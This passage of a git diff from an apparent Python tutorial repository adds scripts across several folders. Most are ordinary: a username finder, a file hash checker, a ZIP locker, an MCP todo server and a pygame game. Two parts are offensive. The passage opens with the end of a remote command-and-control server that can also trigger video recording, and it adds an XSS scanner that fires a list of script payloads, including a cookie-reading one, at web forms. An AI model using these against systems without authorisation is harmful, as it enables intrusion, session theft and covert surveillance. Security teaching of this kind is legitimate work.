+    if command.lower() == "exit":
+        # If the command is exit, just break out of the loop.
+        break
+    elif command.lower() == "start":
+        # Start recording video in a separate thread.
+        recording_thread = threading.Thread(target=record_video)
+        recording_thread.start()
+        output = "Video recording started."
+        print(output)
+    else:
+        # Receive the results from the client.
+        output = client_socket.recv(BUFFER_SIZE).decode()
+        results, cwd = output.split(SEPARATOR)
+        print(results)
+
+# Close the connection to the client and server.
+if recording_thread is not None:
+    recording_thread.join()
+client_socket.close()
+s.close()
\ No newline at end of file
diff --git a/ethical-hacking/username-finder/README.md b/ethical-hacking/username-finder/README.md
new file mode 100644
index 00000000..8b0ad5a5
--- /dev/null
+++ b/ethical-hacking/username-finder/README.md
@@ -0,0 +1 @@
+# [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/username-finder/requirements.txt b/ethical-hacking/username-finder/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/username-finder/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/username-finder/username_finder.py b/ethical-hacking/username-finder/username_finder.py
new file mode 100644
index 00000000..8b34f39a
--- /dev/null
+++ b/ethical-hacking/username-finder/username_finder.py
@@ -0,0 +1,108 @@
+# Import necessary libraries
+import requests  # For making HTTP requests
+import argparse  # For parsing command line arguments
+import concurrent.futures  # For concurrent execution
+from collections import OrderedDict  # For maintaining order of websites
+from colorama import init, Fore  # For colored terminal output
+import time  # For handling time-related tasks
+import random  # For generating random numbers
+
+# Initialize colorama for colored output.
+init()
+
+# Ordered dictionary of websites to check for a given username.
+WEBSITES = OrderedDict([
+    ("Instagram", "https://www.instagram.com/%7B%7D"),
+    ("Facebook", "https://www.facebook.com/%7B%7D"),
+    ("YouTube", "https://www.youtube.com/user/%7B%7D"),
+    ("Reddit", "https://www.reddit.com/user/%7B%7D"),
+    ("GitHub", "https://github.com/%7B%7D"),
+    ("Twitch", "https://www.twitch.tv/%7B%7D"),
+    ("Pinterest", "https://www.pinterest.com/%7B%7D/"),
+    ("TikTok", "https://www.tiktok.com/@%7B%7D"),
+    ("Flickr", "https://www.flickr.com/photos/%7B%7D")
+])
+
+REQUEST_DELAY = 2  # Delay in seconds between requests to the same website
+MAX_RETRIES = 3  # Maximum number of retries for a failed request
+last_request_times = {}  # Dictionary to track the last request time for each website
+
+def check_username(website, username):
+    """
+    Check if the username exists on the given website.
+    Returns the full URL if the username exists, False otherwise.
+    """
+    url = website.format(username)  # Format the URL with the given username
+    retries = 0  # Initialize retry counter
+
+    # Retry loop
+    while retries < MAX_RETRIES:
+        try:
+            # Implement rate limiting.
+            current_time = time.time()
+            if website in last_request_times and current_time - last_request_times[website] < REQUEST_DELAY:
+                delay = REQUEST_DELAY - (current_time - last_request_times[website])
+                time.sleep(delay)  # Sleep to maintain the request delay.
+
+            response = requests.get(url)  # Make the HTTP request
+            last_request_times[website] = time.time()  # Update the last request time.
+
+            if response.status_code == 200:  # Check if the request was successful.
+                return url
+            else:
+                return False
+        except requests.exceptions.RequestException:
+            retries += 1  # Increment retry counter on exception.
+            delay = random.uniform(1, 3)  # Random delay between retries.
+            time.sleep(delay)  # Sleep for the delay period.
+
+    return False  # Return False if all retries failed.
+
+def main():
+    # Parse command line arguments.
+    parser = argparse.ArgumentParser(description="Check if a username exists on various websites.")
+    parser.add_argument("username", help="The username to check.")
+    parser.add_argument("-o", "--output", help="Path to save the results to a file.")
+    args = parser.parse_args()
+
+    username = args.username  # Username to check.
+    output_file = args.output  # Output file path.
+
+    print(f"Checking for username: {username}")
+
+    results = OrderedDict()  # Dictionary to store results.
+
+    # Use ThreadPoolExecutor for concurrent execution.
+    with concurrent.futures.ThreadPoolExecutor() as executor:
+        # Submit tasks to the executor.
+        futures = {executor.submit(check_username, website, username): website_name for website_name, website in WEBSITES.items()}
+        for future in concurrent.futures.as_completed(futures):
+            website_name = futures[future]  # Get the website name.
+            try:
+                result = future.result()  # Get the result.
+            except Exception as exc:
+                print(f"{website_name} generated an exception: {exc}")
+                result = False
+            finally:
+                results[website_name] = result  # Store the result.
+
+    # Print the results.
+    print("\nResults:")
+    for website, result in results.items():
+        if result:
+            print(f"{Fore.GREEN}{website}: Found ({result})")
+        else:
+            print(f"{Fore.RED}{website}: Not Found")
+
+    # Save results to a file if specified.
+    if output_file:
+        with open(output_file, "w") as f:
+            for website, result in results.items():
+                if result:
+                    f.write(f"{website}: Found ({result})\n")
+                else:
+                    f.write(f"{website}: Not Found\n")
+        print(f"{Fore.GREEN}\nResults saved to {output_file}")
+
+# Call the main function
+main()
diff --git a/ethical-hacking/verify-file-integrity/README.md b/ethical-hacking/verify-file-integrity/README.md
new file mode 100644
index 00000000..4d7e313b
--- /dev/null
+++ b/ethical-hacking/verify-file-integrity/README.md
@@ -0,0 +1 @@
+# [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/verify-file-integrity/file_integrity_verifier.py b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py
new file mode 100644
index 00000000..0c9e31bc
--- /dev/null
+++ b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py
@@ -0,0 +1,63 @@
+# Import necessary libraries.
+import argparse, hashlib, sys
+
+# Import functions init and Fore from the colorama library.
+from colorama import init, Fore
+
+# Initialize colorama to enable colored terminal text.
+init()
+
+# Define a function to calculate the SHA-256 hash of a file.
+def calculate_hash(file_path):
+    # Create a SHA-256 hash object.
+    sha256_hash = hashlib.sha256()
+
+    # Open the file in binary mode for reading (rb).
+    with open(file_path, "rb") as file:
+        # Read the file in 64KB chunks to efficiently handle large files.
+        while True:
+            data = file.read(65536)  # Read the file in 64KB chunks.
+            if not data:
+                break
+            # Update the hash object with the data read from the file.
+            sha256_hash.update(data)
+
+    # Return the hexadecimal representation of the calculated hash.
+    return sha256_hash.hexdigest()
+
+
+# Define a function to verify the calculated hash against an expected hash.
+def verify_hash(downloaded_file, expected_hash):
+    # Calculate the hash of the downloaded file.
+    calculated_hash = calculate_hash(downloaded_file)
+
+    # Compare the calculated hash with the expected hash and return the result.
+    return calculated_hash == expected_hash
+
+
+# Create a parser for handling command-line arguments.
+parser = argparse.ArgumentParser(description="Verify the hash of a downloaded software file.")
+
+# Define two command-line arguments:
+# -f or --file: Path to the downloaded software file (required).
+# --hash: Expected hash value (required).
+parser.add_argument("-f", "--file", dest="downloaded_file", required=True, help="Path to the downloaded software file")
+parser.add_argument("--hash", dest="expected_hash", required=True, help="Expected hash value")
+
+# Parse the command-line arguments provided when running the script.
+args = parser.parse_args()
+
+# Check if the required command-line arguments were provided.
+if not args.downloaded_file or not args.expected_hash:
+    # Print an error message in red using 'colorama'.
+    print(f"{Fore.RED}[-] Please Specify the file to validate and its Hash.")
+    # Exit the script.
+    sys.exit()
+
+# Check if the hash of the file is accurate by calling the verify_hash function.
+if verify_hash(args.downloaded_file, args.expected_hash):
+    # If the hash is accurate, print a success message in green.
+    print(f"{Fore.GREEN}[+] Hash verification successful. The software is authentic.")
+else:
+    # If the hash does not match, print an error message in red.
+    print(f"{Fore.RED}[-] Hash verification failed. The software may have been tampered with or is not authentic.")
diff --git a/ethical-hacking/verify-file-integrity/requirements.txt b/ethical-hacking/verify-file-integrity/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/verify-file-integrity/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt
index 1f311f5c..20355cca 100644
--- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt
+++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt
@@ -1,2 +1,3 @@
 requests
-bs4
\ No newline at end of file
+bs4
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py
new file mode 100644
index 00000000..104615d8
--- /dev/null
+++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py
@@ -0,0 +1,203 @@
+import requests  # Importing requests library for making HTTP requests
+from pprint import pprint  # Importing pprint for pretty-printing data structures
+from bs4 import BeautifulSoup as bs  # Importing BeautifulSoup for HTML parsing
+from urllib.parse import urljoin, urlparse  # Importing utilities for URL manipulation
+from urllib.robotparser import RobotFileParser  # Importing RobotFileParser for parsing robots.txt files
+from colorama import Fore, Style  # Importing colorama for colored terminal output
+import argparse  # Importing argparse for command-line argument parsing
+
+# List of XSS payloads to test forms with
+XSS_PAYLOADS = [
+    '"><svg/onload=alert(1)>',
+    '\'><svg/onload=alert(1)>',
+    '<img src=x onerror=alert(1)>',
+    '"><img src=x onerror=alert(1)>',
+    '\'><img src=x onerror=alert(1)>',
+    "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//--></script>",
+    "<Script>alert('XSS')</scripT>",
+    "<script>alert(document.cookie)</script>",
+]
+# global variable to store all crawled links
+crawled_links = set()
+
+def print_crawled_links():
+    """
+    Print all crawled links
+    """
+    print(f"\n[+] Links crawled:")
+    for link in crawled_links:
+        print(f"    {link}")
+    print()
+
+
+# Function to get all forms from a given URL
+def get_all_forms(url):
+    """Given a `url`, it returns all forms from the HTML content"""
+    try:
+        # Using BeautifulSoup to parse HTML content of the URL
+        soup = bs(requests.get(url).content, "html.parser")
+        # Finding all form elements in the HTML
+        return soup.find_all("form")
+    except requests.exceptions.RequestException as e:
+        # Handling exceptions if there's an error in retrieving forms
+        print(f"[-] Error retrieving forms from {url}: {e}")
+        return []
+
+# Function to extract details of a form
+def get_form_details(form):
+    """
+    This function extracts all possible useful information about an HTML `form`
+    """
+    details = {}
+    # Extracting form action and method
+    action = form.attrs.get("action", "").lower()
+    method = form.attrs.get("method", "get").lower()
+    inputs = []
+    # Extracting input details within the form
+    for input_tag in form.find_all("input"):
+        input_type = input_tag.attrs.get("type", "text")
+        input_name = input_tag.attrs.get("name")
+        inputs.append({"type": input_type, "name": input_name})
+    # Storing form details in a dictionary
+    details["action"] = action
+    details["method"] = method
+    details["inputs"] = inputs
+    return details
+
+# Function to submit a form with a specific value
+def submit_form(form_details, url, value):
+    """
+    Submits a form given in `form_details`
+    Params:
+    form_details (list): a dictionary that contains form information
+    url (str): the original URL that contains that form
+    value (str): this will be replaced for all text and search inputs
+    Returns the HTTP Response after form submission
+    """
+    target_url = urljoin(url, form_details["action"])  # Constructing the absolute form action URL
+    inputs = form_details["inputs"]
+    data = {}
+    # Filling form inputs with the provided value
+    for input in inputs:
+        if input["type"] == "text" or input["type"] == "search":
+            input["value"] = value
+        input_name = input.get("name")
+        input_value = input.get("value")
+        if input_name and input_value:
+            data[input_name] = input_value
+    try:
+        # Making the HTTP request based on the form method (POST or GET)
+        if form_details["method"] == "post":
+            return requests.post(target_url, data=data)
+        else:
+            return requests.get(target_url, params=data)
+    except requests.exceptions.RequestException as e:
+        # Handling exceptions if there's an error in form submission
+        print(f"[-] Error submitting form to {target_url}: {e}")
+        return None
+    
+    
+def get_all_links(url):
+    """
+    Given a `url`, it returns all links from the HTML content
+    """
+    try:
+        # Using BeautifulSoup to parse HTML content of the URL
+        soup = bs(requests.get(url).content, "html.parser")
+        # Finding all anchor elements in the HTML
+        return [urljoin(url, link.get("href")) for link in soup.find_all("a")]
+    except requests.exceptions.RequestException as e:
+        # Handling exceptions if there's an error in retrieving links
+        print(f"[-] Error retrieving links from {url}: {e}")
+        return []
+    
+
+# Function to scan for XSS vulnerabilities
+def scan_xss(args, scanned_urls=None):
+    """Given a `url`, it prints all XSS vulnerable forms and
+    returns True if any is vulnerable, None if already scanned, False otherwise"""
+    global crawled_links
+    if scanned_urls is None:
+        scanned_urls = set()
+    # Checking if the URL is already scanned
+    if args.url in scanned_urls:
+        return
+    # Adding the URL to the scanned URLs set
+    scanned_urls.add(args.url)
+    # Getting all forms from the given URL
+    forms = get_all_forms(args.url)
+    print(f"\n[+] Detected {len(forms)} forms on {args.url}")
+    # Parsing the URL to get the domain
+    parsed_url = urlparse(args.url)
+    domain = f"{parsed_url.scheme}://{parsed_url.netloc}"
+    if args.obey_robots:
+        robot_parser = RobotFileParser()
+        robot_parser.set_url(https://github.com/urljoin(domain,%20%22/robots.txt"))
+        try:
+            robot_parser.read()
+        except Exception as e:
+            # Handling exceptions if there's an error in reading robots.txt
+            print(f"[-] Error reading robots.txt file for {domain}: {e}")
+            crawl_allowed = False
+        else:
+            crawl_allowed = robot_parser.can_fetch("https://github.com/*", args.url)
+    else:
+        crawl_allowed = True
+    if crawl_allowed or parsed_url.path:
+        for form in forms:
+            form_details = get_form_details(form)
+            form_vulnerable = False
+            # Testing each form with XSS payloads
+            for payload in XSS_PAYLOADS:
+                response = submit_form(form_details, args.url, payload)
+                if response and payload in response.content.decode():
+                    print(f"\n{Fore.GREEN}[+] XSS Vulnerability Detected on {args.url}{Style.RESET_ALL}")
+                    print(f"[*] Form Details:")
+                    pprint(form_details)
+                    print(f"{Fore.YELLOW}[*] Payload: {payload} {Style.RESET_ALL}")
+                    # save to a file if output file is provided
+                    if args.output:
+                        with open(args.output, "a") as f:
+                            f.write(f"URL: {args.url}\n")
+                            f.write(f"Form Details: {form_details}\n")
+                            f.write(f"Payload: {payload}\n")
+                            f.write("-"*50 + "\n\n")
+                    form_vulnerable = True
+                    break  # No need to try other payloads for this endpoint
+            if not form_vulnerable:
+                print(f"{Fore.MAGENTA}[-] No XSS vulnerability found on {args.url}{Style.RESET_ALL}")
+    # Crawl links if the option is enabled
+    if args.crawl:
+        print(f"\n[+] Crawling links from {args.url}")
+        try:
+            # Crawling links from the given URL
+            links = get_all_links(args.url)
+        except requests.exceptions.RequestException as e:
+            # Handling exceptions if there's an error in crawling links
+            print(f"[-] Error crawling links from {args.url}: {e}")
+            links = []
+        for link in set(links):  # Removing duplicates
+            if link.startswith(domain):
+                crawled_links.add(link)
+                if args.max_links and len(crawled_links) >= args.max_links:
+                    print(f"{Fore.CYAN}[-] Maximum links ({args.max_links}) limit reached. Exiting...{Style.RESET_ALL}")
+                    print_crawled_links()
+                    exit(0)
+                # Recursively scanning XSS vulnerabilities for crawled links
+                args.url = link
+                link_vulnerable = scan_xss(args, scanned_urls)
+                if not link_vulnerable:
+                    continue
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="Extended XSS Vulnerability scanner script.")
+    parser.add_argument("url", help="URL to scan for XSS vulnerabilities")
+    parser.add_argument("-c", "--crawl", action="https://github.com/store_true", help="Crawl links from the given URL")
+    # max visited links
+    parser.add_argument("-m", "--max-links", type=int, default=0, help="Maximum number of links to visit. Default 0, which means no limit.")
+    parser.add_argument("--obey-robots", action="https://github.com/store_true", help="Obey robots.txt rules")
+    parser.add_argument("-o", "--output", help="Output file to save the results")
+    args = parser.parse_args()
+    scan_xss(args)  # Initiating XSS vulnerability scan
+
+    print_crawled_links()
diff --git a/ethical-hacking/zip-file-locker/README.md b/ethical-hacking/zip-file-locker/README.md
new file mode 100644
index 00000000..8a846e07
--- /dev/null
+++ b/ethical-hacking/zip-file-locker/README.md
@@ -0,0 +1 @@
+# [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/zip-file-locker/requirements.txt b/ethical-hacking/zip-file-locker/requirements.txt
new file mode 100644
index 00000000..49cc4dc0
--- /dev/null
+++ b/ethical-hacking/zip-file-locker/requirements.txt
@@ -0,0 +1,2 @@
+colorama
+pyzipper
\ No newline at end of file
diff --git a/ethical-hacking/zip-file-locker/zip_file_locker.py b/ethical-hacking/zip-file-locker/zip_file_locker.py
new file mode 100644
index 00000000..67790324
--- /dev/null
+++ b/ethical-hacking/zip-file-locker/zip_file_locker.py
@@ -0,0 +1,59 @@
+# Import the necessary libraries.
+import pyzipper, argparse, sys, re, getpass
+from colorama import Fore, init
+
+init()
+
+# Define a function to get CLI commands.
+def get_cli_arguments():
+    parser = argparse.ArgumentParser(description="A program to lock a ZIP File.")
+    # Collect user arguments.
+    parser.add_argument('--zipfile', '-z', dest='zip_file', help='Specify the ZIP file to create or update.')
+    parser.add_argument('--addfile', '-a', dest='add_files', nargs='+', help='Specify one or more files to add to the ZIP file(s).')
+
+    # Parse the collected arguments.
+    args = parser.parse_args()
+
+    # Check if arguments are missing, print appropriate messages and exit the program.
+    if not args.zip_file:
+        parser.print_help()
+        sys.exit()
+    if not args.add_files:
+        parser.print_help()
+        sys.exit()
+
+    return args
+
+# Function to check password strength.
+def check_password_strength(password):
+    # Check for minimum length. In our case, 8.
+    if len(password) < 8:
+        return False
+
+    # Check for at least one uppercase letter, one lowercase letter, and one digit.
+    if not (re.search(r'[A-Z]', password) and re.search(r'[a-z]', password) and re.search(r'\d', password)):
+        return False
+
+    return True
+
+# Call the arguments function.
+arguments = get_cli_arguments()
+
+# Get user password
+password = getpass.getpass("[?] Enter your password > ")
+
+# If password is weak, tell the user and exit the program.
+if not check_password_strength(password):
+    print(f"{Fore.RED}[-] Password is not strong enough. It should have at least 8 characters and contain at least one uppercase letter, one lowercase letter, and one digit.")
+    sys.exit()
+
+# Create a password-protected ZIP file.
+with pyzipper.AESZipFile(arguments.zip_file, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zf:
+    zf.setpassword(password.encode())
+
+    # Add files to the ZIP file.
+    for file_to_add in arguments.add_files:
+        zf.write(file_to_add)
+
+# Print a Success message.
+print(f"{Fore.GREEN}[+] ZIP file is locked with a strong password.")
diff --git a/general/fastmcp-mcp-client-server-todo-manager/README.md b/general/fastmcp-mcp-client-server-todo-manager/README.md
new file mode 100644
index 00000000..dd988428
--- /dev/null
+++ b/general/fastmcp-mcp-client-server-todo-manager/README.md
@@ -0,0 +1,39 @@
+# Build a real MCP client and server in Python with FastMCP (Todo Manager example)
+
+This folder contains the code that accompanies the article:
+
+- Article: https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager
+
+What’s included
+- `todo_server.py`: FastMCP MCP server exposing tools, resources, and a prompt for a Todo Manager.
+- `todo_client_test.py`: A small client script that connects to the server and exercises all features.
+- `requirements.txt`: Python dependencies for this tutorial.
+
+Quick start
+1) Install requirements
+```bash
+python -m venv .venv && source .venv/bin/activate  # or use your preferred env manager
+pip install -r requirements.txt
+```
+
+2) Run the server (stdio transport by default)
+```bash
+python todo_server.py
+```
+
+3) In a separate terminal, run the client
+```bash
+python todo_client_test.py
+```
+
+Optional: run the server over HTTP
+- In `todo_server.py`, replace the last line with:
+```python
+mcp.run(transport="http", host="127.0.0.1", port=8000)
+```
+- Then change the client constructor to `Client("http://127.0.0.1:8000/mcp")`.
+
+Notes
+- Requires Python 3.10+.
+- The example uses in-memory storage for simplicity.
+- For production tips (HTTPS, auth, containerization), see the article.
diff --git a/general/fastmcp-mcp-client-server-todo-manager/requirements.txt b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt
new file mode 100644
index 00000000..2c9387f7
--- /dev/null
+++ b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt
@@ -0,0 +1 @@
+fastmcp>=2.12
\ No newline at end of file
diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py
new file mode 100644
index 00000000..f01a1e78
--- /dev/null
+++ b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py
@@ -0,0 +1,50 @@
+import asyncio
+from fastmcp import Client
+
+async def main():
+    # Option A: Connect to local Python script (stdio)
+    client = Client("todo_server.py")
+
+    # Option B: In-memory (for tests)
+    # from todo_server import mcp
+    # client = Client(mcp)
+
+    async with client:
+        await client.ping()
+        print("[OK] Connected")
+
+        # Create a few todos
+        t1 = await client.call_tool("create_todo", {"title": "Write README", "priority": "high"})
+        t2 = await client.call_tool("create_todo", {"title": "Refactor utils", "description": "Split helpers into modules"})
+        t3 = await client.call_tool("create_todo", {"title": "Add tests", "priority": "low"})
+        print("Created IDs:", t1.data["id"], t2.data["id"], t3.data["id"])
+
+        # List open
+        open_list = await client.call_tool("list_todos", {"status": "open"})
+        print("Open IDs:", [t["id"] for t in open_list.data["items"]])
+
+        # Complete one
+        updated = await client.call_tool("complete_todo", {"todo_id": t2.data["id"]})
+        print("Completed:", updated.data["id"], "status:", updated.data["status"])
+
+        # Search
+        found = await client.call_tool("search_todos", {"query": "readme"})
+        print("Search 'readme':", [t["id"] for t in found.data["items"]])
+
+        # Resources
+        stats = await client.read_resource("stats://todos")
+        print("Stats:", getattr(stats[0], "text", None) or stats[0])
+
+        todo2 = await client.read_resource(f"todo://{t2.data['id']}")
+        print("todo://{id}:", getattr(todo2[0], "text", None) or todo2[0])
+
+        # Prompt
+        prompt_msgs = await client.get_prompt("suggest_next_action", {"pending": 2, "project": "MCP tutorial"})
+        msgs_pretty = [
+            {"role": m.role, "content": getattr(m, "content", None) or getattr(m, "text", None)}
+            for m in getattr(prompt_msgs, "messages", [])
+        ]
+        print("Prompt messages:", msgs_pretty)
+
+if __name__ == "__main__":
+    asyncio.run(main())
diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_server.py b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py
new file mode 100644
index 00000000..64f99b73
--- /dev/null
+++ b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py
@@ -0,0 +1,88 @@
+from typing import Literal
+from itertools import count
+from datetime import datetime, timezone
+from fastmcp import FastMCP
+
+# In-memory storage for demo purposes
+TODOS: list[dict] = []
+_id = count(start=1)
+
+mcp = FastMCP(name="Todo Manager")
+
+@mcp.tool
+def create_todo(
+    title: str,
+    description: str = "",
+    priority: Literal["low", "medium", "high"] = "medium",
+) -> dict:
+    """Create a todo (id, title, status, priority, timestamps)."""
+    todo = {
+        "id": next(_id),
+        "title": title,
+        "description": description,
+        "priority": priority,
+        "status": "open",
+        "created_at": datetime.now(timezone.utc).isoformat(),
+        "completed_at": None,
+    }
+    TODOS.append(todo)
+    return todo
+
+@mcp.tool
+def list_todos(status: Literal["open", "done", "all"] = "open") -> dict:
+    """List todos by status ('open' | 'done' | 'all')."""
+    if status == "all":
+        items = TODOS
+    elif status == "open":
+        items = [t for t in TODOS if t["status"] == "open"]
+    else:
+        items = [t for t in TODOS if t["status"] == "done"]
+    return {"items": items}
+
+@mcp.tool
+def complete_todo(todo_id: int) -> dict:
+    """Mark a todo as done."""
+    for t in TODOS:
+        if t["id"] == todo_id:
+            t["status"] = "done"
+            t["completed_at"] = datetime.now(timezone.utc).isoformat()
+            return t
+    raise ValueError(f"Todo {todo_id} not found")
+
+@mcp.tool
+def search_todos(query: str) -> dict:
+    """Case-insensitive search in title/description."""
+    q = query.lower().strip()
+    items = [t for t in TODOS if q in t["title"].lower() or q in t["description"].lower()]
+    return {"items": items}
+
+# Read-only resources
+@mcp.resource("stats://todos")
+def todo_stats() -> dict:
+    """Aggregated stats: total, open, done."""
+    total = len(TODOS)
+    open_count = sum(1 for t in TODOS if t["status"] == "open")
+    done_count = total - open_count
+    return {"total": total, "open": open_count, "done": done_count}
+
+@mcp.resource("todo://{id}")
+def get_todo(id: int) -> dict:
+    """Fetch a single todo by id."""
+    for t in TODOS:
+        if t["id"] == id:
+            return t
+    raise ValueError(f"Todo {id} not found")
+
+# A reusable prompt
+@mcp.prompt
+def suggest_next_action(pending: int, project: str | None = None) -> str:
+    """Render a small instruction for an LLM to propose next action."""
+    base = f"You have {pending} pending TODOs. "
+    if project:
+        base += f"They relate to the project '{project}'. "
+    base += "Suggest the most impactful next action in one short sentence."
+    return base
+
+if __name__ == "__main__":
+    # Default transport is stdio; you can also use transport="http", host=..., port=...
+    mcp.run()
diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py
index b4d17141..3d1ea566 100644
--- a/general/interactive-weather-plot/interactive_weather_plot.py
+++ b/general/interactive-weather-plot/interactive_weather_plot.py
@@ -68,7 +68,7 @@ def changeLocation(newLocation):
 # Making the Radio Buttons
 buttons = RadioButtons(
     ax=plt.axes([0.1, 0.1, 0.2, 0.2]),
-    labels=locations.keys()
+    labels=list(locations.keys())
 )
 
 # Connect click event on the buttons to the function that changes location.
@@ -86,4 +86,4 @@ def changeLocation(newLocation):
 
 plt.savefig('file.svg', format='svg')
 
-plt.show()
\ No newline at end of file
+plt.show()
diff --git a/general/mouse-controller/draw.py b/general/mouse-controller/draw.py
new file mode 100644
index 00000000..7eab5a48
--- /dev/null
+++ b/general/mouse-controller/draw.py
@@ -0,0 +1,35 @@
+import mouse
+import math
+import time
+
+def draw_square(size):
+    # click and hold the left mouse button
+    mouse.press()
+    mouse.move(size, 0, absolute=False, duration=0.2)
+    mouse.move(0, size, absolute=False, duration=0.2)
+    mouse.move(-size, 0, absolute=False, duration=0.2)
+    mouse.move(0, -size, absolute=False, duration=0.2)
+    # release the left mouse button
+    mouse.release()
+
+
+def draw_circle(radius):
+    # click and hold the left mouse button
+    mouse.press()
+    # move the mouse in a circle
+    for i in range(0, 360, 5):
+        # convert degrees to radians
+        angle = math.radians(i)
+        # calculate the x and y coordinates
+        x = radius * math.cos(angle)
+        y = radius * math.sin(angle)
+        # move the mouse to the calculated position
+        mouse.move(x, y, absolute=False, duration=0.01)
+    # release the left mouse button
+    mouse.release()
+
+if __name__ == "__main__":
+    # Place the mouse at the starting point and then call
+    draw_square(200)
+    time.sleep(1)
+    draw_circle(10)
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/README.md b/gui-programming/adding-sound-effects-to-games/README.md
new file mode 100644
index 00000000..65bd6f17
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/README.md
@@ -0,0 +1 @@
+# [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame)
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/0.png b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png
new file mode 100644
index 00000000..cc0c1f20
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/1.png b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png
new file mode 100644
index 00000000..73e9592a
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/2.png b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png
new file mode 100644
index 00000000..d89bb79b
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav
new file mode 100644
index 00000000..49ceb7d8
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav
new file mode 100644
index 00000000..9dcc7062
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3
new file mode 100644
index 00000000..cb9fcc85
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png
new file mode 100644
index 00000000..0c6b138c
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png
new file mode 100644
index 00000000..70105cb5
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png
new file mode 100644
index 00000000..03e3e82c
Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png differ
diff --git a/gui-programming/adding-sound-effects-to-games/bird.py b/gui-programming/adding-sound-effects-to-games/bird.py
new file mode 100644
index 00000000..0d7aec26
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/bird.py
@@ -0,0 +1,46 @@
+import pygame
+from settings import import_sprite
+
+class Bird(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		# bird basic info
+		self.frame_index = 0
+		self.animation_delay = 3
+		self.jump_move = -8
+
+		# bird animation
+		self.bird_img = import_sprite("assets/bird")
+		self.image = self.bird_img[self.frame_index]
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+
+		# bird status
+		self.direction = pygame.math.Vector2(0, 0)
+		self.score = 0
+
+	# for bird's flying animation
+	def _animate(self):
+		sprites = self.bird_img
+		sprite_index = (self.frame_index // self.animation_delay) % len(sprites)
+		self.image = sprites[sprite_index]
+		self.frame_index += 1
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
+		self.mask = pygame.mask.from_surface(self.image)
+		if self.frame_index // self.animation_delay > len(sprites):
+			self.frame_index = 0
+
+	# to make the bird fly higher
